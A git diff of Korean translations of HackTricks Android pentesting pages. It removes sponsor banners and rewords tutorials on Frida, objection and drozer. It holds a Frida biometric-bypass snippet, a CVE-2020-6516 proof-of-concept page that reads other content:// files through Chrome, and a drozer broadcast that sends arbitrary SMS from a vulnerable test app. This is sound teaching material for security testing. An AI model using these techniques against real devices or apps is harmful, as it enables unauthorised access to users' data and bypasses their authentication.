### Manual
[사용자 정의 난독화를 역전시키는 방법에 대한 몇 가지 요령을 배우려면 이 튜토리얼을 읽으세요](manual-deobfuscation.md)
[사용자 정의 난독화를 리버스하는 방법에 대한 몇 가지 요령을 배우려면 이 튜토리얼을 읽으세요](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실을 포함합니다.
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실험실을 포함합니다.
## References
@ -777,19 +736,4 @@ AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로,
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하여 경험이 풍부한 해커 및 버그 바운티 헌터와 소통하세요!
**Hacking Insights**\
해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요.
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**Latest Announcements**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요:
{% embed url="https://academy.8ksec.io/" %}
## **방법 1 암호화 객체 사용 없이 우회하기**
여기서의 초점은 인증 과정에서 중요한 _onAuthenticationSucceeded_ 콜백입니다. WithSecure의 연구자들은 NULL _CryptoObject_를 _onAuthenticationSucceeded(...)_에서 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 메서드 호출 시 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 Android 지문 컨텍스트에서 우회를 보여주는 간단한 코드 조각이며, 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다.
여기서의 초점은 인증 과정에서 중요한 _onAuthenticationSucceeded_ 콜백입니다. WithSecure의 연구자들은 NULL _CryptoObject_를 _onAuthenticationSucceeded(...)_에서 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 메서드 호출 시 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 안드로이드 지문 컨텍스트에서 우회를 보여주는 간단한 코드 조각이며, 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다.
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -60,19 +54,14 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
## **방법 5 사용자 정의 인증 도구 사용**
인증 메커니즘을 테스트하고 우회하도록 설계된 전문 도구와 스크립트가 있습니다. 예를 들어:
인증 메커니즘을 테스트하고 우회하기 위해 설계된 전문 도구와 스크립트가 있습니다. 예를 들어:
1. **MAGISK 모듈**: MAGISK는 사용자가 장치를 루팅하고 지문을 포함한 하드웨어 수준 정보를 수정하거나 스푸핑할 수 있는 모듈을 추가할 수 있는 Android 도구입니다.
2. **사용자 정의 스크립트**: Android Debug Bridge (ADB)와 상호 작용하거나 애플리케이션의 백엔드와 직접 상호 작용하여 지문 인증을 시뮬레이션하거나 우회하는 스크립트를 작성할 수 있습니다.
2. **사용자 정의 스크립트**: Android Debug Bridge (ADB)와 상호작용하거나 애플리케이션의 백엔드와 직접 상호작용하여 지문 인증을 시뮬레이션하거나 우회하는 스크립트를 작성할 수 있습니다.
## 참고 문헌
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,14 +1,10 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**이것은 게시물의 요약입니다 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### 미디어 스토어에서 파일 나열하기
### 미디어 저장소의 파일 나열
미디어 스토어에서 관리되는 파일을 나열하려면 아래 명령어를 사용할 수 있습니다:
미디어 저장소에서 관리되는 파일을 나열하려면 아래 명령을 사용할 수 있습니다:
```bash
$ content query --uri content://media/external/file
```
@ -20,9 +16,9 @@ $ content query --uri content://media/external/file --projection _id,_data
### Chrome의 콘텐츠 제공자 접근
Android의 Chrome은 `content://` 스킴을 통해 콘텐츠 제공자에 접근할 수 있어, 타사 애플리케이션에서 내보낸 사진이나 문서와 같은 리소스에 접근할 수 있습니다. 이를 설명하기 위해, 파일을 미디어 스토어에 삽입한 다음 Chrome을 통해 접근할 수 있습니다:
Android의 Chrome은 `content://` 스킴을 통해 콘텐츠 제공자에 접근할 수 있어, 타사 애플리케이션에서 내보낸 사진이나 문서와 같은 리소스에 접근할 수 있습니다. 이를 설명하기 위해, 파일을 미디어 저장소에 삽입한 다음 Chrome을 통해 접근할 수 있습니다:
미디어 스토어에 사용자 정의 항목 삽입:
미디어 저장소에 사용자 정의 항목 삽입:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
@ -46,7 +42,7 @@ content query --uri content://media/external/file --projection _id,_data | grep
_동일 출처 정책_ (SOP)은 브라우저에서 서로 다른 출처의 리소스와 상호작용하는 것을 제한하는 보안 프로토콜로, Cross-Origin-Resource-Sharing (CORS) 정책에 의해 명시적으로 허용되지 않는 한 허용되지 않습니다. 이 정책은 정보 유출 및 교차 사이트 요청 위조를 방지하는 것을 목표로 합니다. Chrome은 `content://`를 로컬 스킴으로 간주하여, 각 로컬 스킴 URL이 별도의 출처로 취급되는 더 엄격한 SOP 규칙을 의미합니다.
그러나 CVE-2020-6516은 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있는 Chrome의 취약점이었습니다. 결과적으로, `content://` URL의 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 접근할 수 있었으며, 이는 특히 Android 10 이전 버전에서 구현되지 않은 범위 저장소를 사용하는 Android 기기에서 중요한 보안 문제였습니다.
그러나 CVE-2020-6516은 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있는 Chrome의 취약점이었습니다. 결과적으로, `content://` URL의 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 접근할 수 있었으며, 이는 특히 Android 10 이전 버전에서 구현되지 않은 범위 저장소를 실행하는 Android 장치에서 중요한 보안 문제였습니다.
아래의 개념 증명은 이 취약점을 보여주며, HTML 문서가 **/sdcard**에 업로드되고 미디어 저장소에 추가된 후, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일 내용을 접근하고 표시하여 SOP 규칙을 우회합니다.
@ -79,8 +75,4 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,28 +2,24 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 바운티를 벌기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
## 테스트할 APK
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs에서)
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs에서 제공)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**이 튜토리얼의 일부는** [**Drozer 문서 pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**에서 발췌되었습니다.**
## 설치
호스트 내에 Drozer Client를 설치하세요. [최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 다운로드하세요.
호스트 내에 Drozer Client를 설치합니다. [최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 다운로드하세요.
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
[최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 drozer APK를 다운로드하고 설치하세요. 현재 버전은 [이것](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)입니다.
[최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 drozer APK를 다운로드하고 설치하세요. 현재 [이것](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)입니다.
```bash
adb install drozer.apk
```
@ -43,20 +39,20 @@ drozer console connect
```
## 흥미로운 명령어
| **명령어** | **설명** |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| **명령어** | **설명** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. |
| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. |
| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 이 목록은 적절한 권한이 없는 모듈은 숨깁니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. |
| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. |
| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. |
| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. |
| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. |
| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. |
| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. |
| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. |
| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **run MODULE** | drozer 모듈을 실행합니다. |
| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` |
| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` |
| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` |
| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` |
### 패키지
@ -134,11 +130,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### 콘텐츠 제공자
이 게시물은 여기에서 너무 커서 **당신은** [**여기에서 별도의 페이지로 접근할 수 있습니다**](exploiting-content-providers.md).
이 게시물은 여기에서 너무 커서 **여기에서** [**별도의 페이지로 접근할 수 있습니다**](exploiting-content-providers.md).
### 서비스
내보낸 서비스는 Manifest.xml 내에 선언됩니다:
내보낸 서비스는 Manifest.xml 내에 선언됩니다:
```markup
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
@ -185,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
**Android 기본 정보 섹션에서 Broadcast Receiver가 무엇인지 확인할 수 있습니다**.
이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별히 주의하세요. 이 함수는 수신된 메시지를 처리합니다.
이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별한 주의를 기울이세요. 이 함수는 수신된 메시지를 처리합니다.
#### **모든** broadcast receivers 감지
```bash
@ -212,15 +208,15 @@ Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### 방송 **상호작용**
#### 브로드캐스트 **상호작용**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### 메시지 전송
#### 메시지 보내기
이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **전송할 수 있습니다**.
이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **보낼 수 있습니다**.
![](<../../../images/image (415).png>)
@ -233,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### Is debuggeable
생산용 APK는 절대 디버깅 가능해서는 안 됩니다.\
것은 실행 중인 애플리케이션에 **자바 디버거**를 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code.
는 **자바 디버거**를 실행 중인 애플리케이션에 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code.
애플리케이션이 디버깅 가능할 때, 매니페스트에 나타납니다:
```xml
@ -254,10 +250,6 @@ run app.package.debuggable
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../images/i3.png" alt="" data-size="original">
**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
## Installation
{% embed url="https://go.intigriti.com/hacktricks" %}
## 설치
**frida tools** 설치:
**frida tools**를 설치하세요:
```bash
pip install frida-tools
pip install frida
```
**안드로이드에** **frida server**를 **다운로드하고 설치**하세요 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\
**안드로이드에** **frida server**를 **다운로드하고 설치**합니다 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\
adb를 루트 모드로 재시작하고, 연결하고, frida-server를 업로드하고, 실행 권한을 부여한 후 백그라운드에서 실행하는 원라이너:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
@ -37,7 +32,7 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
### [튜토리얼 2](frida-tutorial-2.md)
**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 & 4)\
**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (2, 3 및 4부)\
**APK 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**[링크를 따라 읽어보세요.](frida-tutorial-2.md)**
@ -149,7 +144,7 @@ return ret //[B
```
### 함수 후킹 및 입력으로 호출하기
문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 ([여기서](https://11x256.github.io/Frida-hooking-android-part-2/) )
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@ -162,7 +157,7 @@ console.log("Return value: " + ret)
return ret
}
```
### 이미 생성된 클래스 객체 가져오기
### 이미 생성된 클래스 객체 가져오기
생성된 객체의 일부 속성을 추출하려면 다음을 사용할 수 있습니다.
@ -182,10 +177,5 @@ onComplete: function () {},
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [고급 Frida 사용 블로그 시리즈 1부: IOS 암호화 라이브러리](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
**이 게시물의 요약**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**소스 코드**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
## Python
Frida는 실행 중인 애플리케이션의 함수 내에 **JavaScript 코드를 삽입**할 수 있게 해줍니다. 하지만 **python**을 사용하여 후크를 **호출**하고 **후크****상호작용**할 수 있습니다.
Frida는 실행 중인 애플리케이션의 함수 내에 **JavaScript 코드를 삽입**할 수 있게 해줍니다. 하지만 **python**을 사용하여 **후크를 호출**하고 **후크와 상호작용**할 수 있습니다.
이것은 이 튜토리얼의 모든 제안된 예제와 함께 사용할 수 있는 간단한 파이썬 스크립트입니다:
```python
@ -120,14 +114,8 @@ return encrypted_ret
```
## 중요
이 튜토리얼에서는 메서드의 이름과 _.implementation_을 사용하여 메서드를 후킹했습니다. 그러나 **같은 이름을 가진 메서드가 여러 개** 있을 경우, 후킹하려는 **메서드를 지정**하고 **인수의 유형을 나타내야** 합니다.
이 튜토리얼에서는 메서드의 이름과 _.implementation_을 사용하여 메서드를 후킹했습니다. 그러나 **같은 이름을 가진 메서드가 여러 개** 있을 경우, 후킹하려는 **메서드를 지정해야 하며** **인수의 유형을 표시해야** 합니다.
다음 튜토리얼에서 이를 확인할 수 있습니다 [the next tutorial](frida-tutorial-2.md).
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼인 Intigriti에 **가입**하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
다음 튜토리얼에서 이를 확인할 수 있습니다. [the next tutorial](frida-tutorial-2.md).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
**이 게시물의 요약입니다**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 & 4)\
**이것은 게시물의 요약입니다**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 & 4)\
**APKs 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
파트 1은 매우 쉽습니다.
@ -17,9 +11,9 @@
## Part 2
여기에서 **같은 이름을 가진 2개의 함수를 다른 매개변수로 후킹하는** 방법의 예를 볼 수 있습니다.\
여기에서 **같은 이름을 가진 2개의 함수를 후킹하는** 방법의 예를 볼 수 있습니다.\
또한, **자신의 매개변수로 함수를 호출하는** 방법을 배울 것입니다.\
마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하는** 방법의 예가 있습니다.
마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하게 하는** 방법의 예가 있습니다.
```javascript
//s2.js
console.log("Script loaded successfully ");
@ -54,7 +48,7 @@ onComplete: function () { }
});
});
```
문자열을 생성하기 위해 먼저 _java.lang.String_ 클래스를 참조한 다음, 해당 클래스의 _$new_ 객체를 문자열 내용을 사용하여 생성한 것을 볼 수 있습니다. 이것이 클래스의 새 객체를 생성하는 올바른 방법입니다. 그러나 이 경우 `this.fun()``this.fun("hey there!")`와 같은 문자열을 그냥 전달할 수 있습니다.
문자열을 생성하기 위해 먼저 _java.lang.String_ 클래스를 참조한 다음, 해당 클래스의 _$new_ 객체를 문자열 내용을 사용하여 생성한 것을 볼 수 있습니다. 이것이 클래스의 새 객체를 생성하는 올바른 방법입니다. 그러나 이 경우 `this.fun()``this.fun("hey there!")`와 같은 문자열을 전달할 수 있습니다.
### Python
```python
@ -112,7 +106,7 @@ script.exports.callsecretfunction()
elif command == "3":
script.exports.hooksecretfunction()
```
명령어 "**1**"은 **종료**하고, 명령어 "**2**"는 **클래스의 인스턴스를 찾고 비공식 함수** _**secret()**_을 호출하며, 명령어 "**3**"은 **함수** _**secret()**_을 **후킹**하여 **다른 문자열**을 **반환**합니다.
명령어 "**1**"은 **종료**하고, 명령어 "**2**"는 클래스의 **인스턴스를 찾고 비공식 함수** _**secret()**_을 호출하며, 명령어 "**3**"은 **함수** _**secret()**_을 **후킹**하여 **다른 문자열**을 **반환**합니다.
따라서, "**2**"를 호출하면 **진짜 비밀**을 얻을 수 있지만, "**3**"을 호출한 후 "**2**"를 호출하면 **가짜 비밀**을 얻을 수 있습니다.
@ -208,12 +202,7 @@ return this.setText(string_to_recv)
}
})
```
5부는 새로운 내용이 없기 때문에 설명하지 않겠습니다. 하지만 읽고 싶다면 여기 있습니다: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
5부에 대해 설명하지 않을 것입니다. 새로운 내용이 없기 때문입니다. 하지만 읽고 싶다면 여기 있습니다: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 바운티를 벌기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
## **소개**
**objection - 런타임 모바일 탐색**
[**Objection**](https://github.com/sensepost/objection) [Frida](https://www.frida.re)로 구동되는 런타임 모바일 탐색 툴킷입니다. 이는 탈옥되거나 루팅된 모바일 장치 없이 모바일 애플리케이션과 그 보안 상태를 평가하는 데 도움을 주기 위해 만들어졌습니다.
[**Objection**](https://github.com/sensepost/objection) [Frida](https://www.frida.re)로 구동되는 런타임 모바일 탐색 툴킷입니다. 이는 탈옥되거나 루팅된 모바일 장치 없이 모바일 애플리케이션과 그 보안 상태를 평가하는 데 도움을 주기 위해 만들어졌습니다.
**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용하더라도 사용자는 직면한 샌드박스에서 부과된 모든 제한에 의해 여전히 제한됩니다.
**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용함으로써, 사용자는 직면한 샌드박스에 의해 부과된 모든 제한에 여전히 제한됩니다.
### 요약
**objection**의 **목표**는 사용자가 **Frida가 제공하는 주요 작업을 호출**할 수 있도록 하는 것입니다. **그렇지 않으면**, 사용자는 테스트하**모든 애플리케이션에 대해 단일 스크립트를 생성해야** 합니다.
**objection**의 **목표**는 사용자가 **Frida가 제공하는 주요 작업을 호출**할 수 있도록 하는 것입니다. **그렇지 않으면**, 사용자는 테스트하고자 하**모든 애플리케이션에 대해 단일 스크립트를 생성해야** 합니다.
## 튜토리얼
@ -43,7 +39,7 @@ objection --gadget asvid.github.io.fridaapp explore
```
### 기본 작업
이 튜토리얼에서는 유용하다고 생각되는 몇 가지 명령만 나열할 것이며, 모든 가능한 objections 명령은 나열되지 않습니다.
이 튜토리얼에서는 유용하다고 생각되는 명령만 나열되며, objections의 모든 가능한 명령은 나열되지 않습니다.
#### 환경
@ -53,7 +49,7 @@ env
```
![](<../../../images/image (220).png>)
#### Frida 정보
#### 프리다 정보
```bash
frida
```
@ -139,13 +135,13 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
```
이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 있을 때** 매우 유용합니다. 이 함수를 사용하여 **클래스를 소유한 모듈을 검색**한 다음 메서드를 후킹할 수 있습니다.
이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 있을 때** 매우 유용합니다. 이 함수를 사용하여 **어떤 모듈이 클래스를 소유하는지 검색**한 다음 메서드를 후킹할 수 있습니다.
### 후킹이 쉬움
#### 메서드 후킹(감시)
애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 **MainActivity**의 **함수** _**sum()**_**매초** 실행된다는 것을 알 수 있습니다. 함수가 호출될 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프**해 보겠습니다:
애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 우리는 **MainActivity**의 **함수** _**sum()**_**매초** 실행되고 있음을 알 수 있습니다. 함수가 호출될 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프**해 보겠습니다:
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
@ -157,13 +153,13 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, **인수****반환** 값을 볼 수 있습니다.
애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, **인수****반환** 값을 볼 수 있습니다.
![](<../../../images/image (861).png>)
